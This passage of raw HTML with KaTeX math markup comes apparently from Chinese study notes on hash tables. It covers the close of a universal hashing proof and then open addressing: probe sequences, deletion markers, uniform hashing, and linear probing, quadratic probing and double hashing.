class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">⌈</span><span class="mord mathnormal mtight">p</span><span class="mord mtight">/</span><span class="mord mathnormal mtight">m</span><span class="mclose mtight">⌉</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.4911em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mclose mtight">)</span><span class="mord mtight">/</span><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p><p>回到定义可见，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">H</mi></mrow><annotation encoding="application/x-tex">\mathcal{H}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span></span></span></span> 是一个全域散列函数簇。</p><h2 id="open-addressing"><a class="markdownIt-Anchor" href="#open-addressing"></a> Open addressing</h2><p>现在的目标是将所有元素存储在哈希表中，而不是外部空间。</p><p>11.2-4 确实做到了，将链表存储在哈希表中，但是指针消耗了大量的空间。</p><p>而开放寻址法直接计算索引而不是通过指针来访问元素。</p><p>扩展散列函数，使其支持 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo>:</mo><mi>U</mi><mo>×</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mtext> </mtext><mo stretchy="false">}</mo><mo>→</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">h: U \times \{0, 1, 2, \dots\} \to \{0, 1, 2, \dots, m - 1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k, i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span></span> 是键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个探测位置。</p><p>可以得到探测序列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>&lt;</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>0</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>2</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>&gt;</mo></mrow><annotation encoding="application/x-tex">&lt;h(k, 0), h(k, 1), h(k, 2), \dots, h(k, i)&gt;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span></span></span></span></p><p>开放寻址法的实现大致如下：</p><ul><li><p>INSERT 操作：沿着探测序列直到找到一个空槽位，将元素插入。如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>≥</mo><mi>m</mi></mrow><annotation encoding="application/x-tex">i \ge m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7955em;vertical-align:-0.136em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，说明已经探测了整个表，无法插入。</p></li><li><p>SEARCH 操作：沿着探测序列直到找到一个空槽位或者找到键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。如果找到空槽位，说明键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 不在表中；如果找到键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，则返回对应的值。</p></li><li><p>DELETE 操作：沿着探测序列直到找到一个空槽位或者找到键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>。</p></li><li><ul><li>如果找到空槽位，说明键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 不在表中；</li></ul></li><li><ul><li>如果找到键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，则将该槽位标记为<strong>DELETED</strong>（而不是直接清空，后续的 SEARCH 操作无法正确地继续探测。）</li></ul></li></ul><p>由于增加了已删除的标记，开放寻址法的查找时间不再依赖 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex">\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>，实践上可能会出现探测序列过长的情况，或改回链表法，或者增加压缩的步骤（例如当 DELETED 数量过多时，重新哈希）。</p><hr /><p>正如前面散列函数有简单均匀散列假设，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k,i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span></span> 也有均匀散列假设（Uniform Hashing），即对于每个键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>，探测序列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>&lt;</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>0</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mn>2</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo>⋯</mo><mo>&gt;</mo></mrow><annotation encoding="application/x-tex">&lt;h(k, 0), h(k, 1), h(k, 2), \dots&gt;</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 个槽位的一个随机排列。</p><p>均匀散列应该产生 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">m!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">m</span><span class="mclose">!</span></span></span></span> 个不同的探测序列，每个序列的概率为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mi>m</mi><mo stretchy="false">!</mo></mrow><annotation encoding="application/x-tex">1/m!</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord mathnormal">m</span><span class="mclose">!</span></span></span></span>。</p><p>有三种常见的开放寻址法：</p><ul><li><p>线性探测（Linear Probing）：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><mi>i</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k, i) = (h&#x27;(k) + i) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></p></li><li><p>二次探测（Quadratic Probing）：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>c</mi><mn>1</mn></msub><mi>i</mi><mo>+</mo><msub><mi>c</mi><mn>2</mn></msub><msup><mi>i</mi><mn>2</mn></msup><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k, i) = (h&#x27;(k) + c_1 i + c_2 i^2) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">c_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">c_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是常数。</p></li><li><p>双重散列（Double Hashing）：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>h</mi><mn>1</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><mi>i</mi><mo>⋅</mo><msub><mi>h</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k, i) = (h_1(k) + i \cdot h_2(k)) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">))</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord 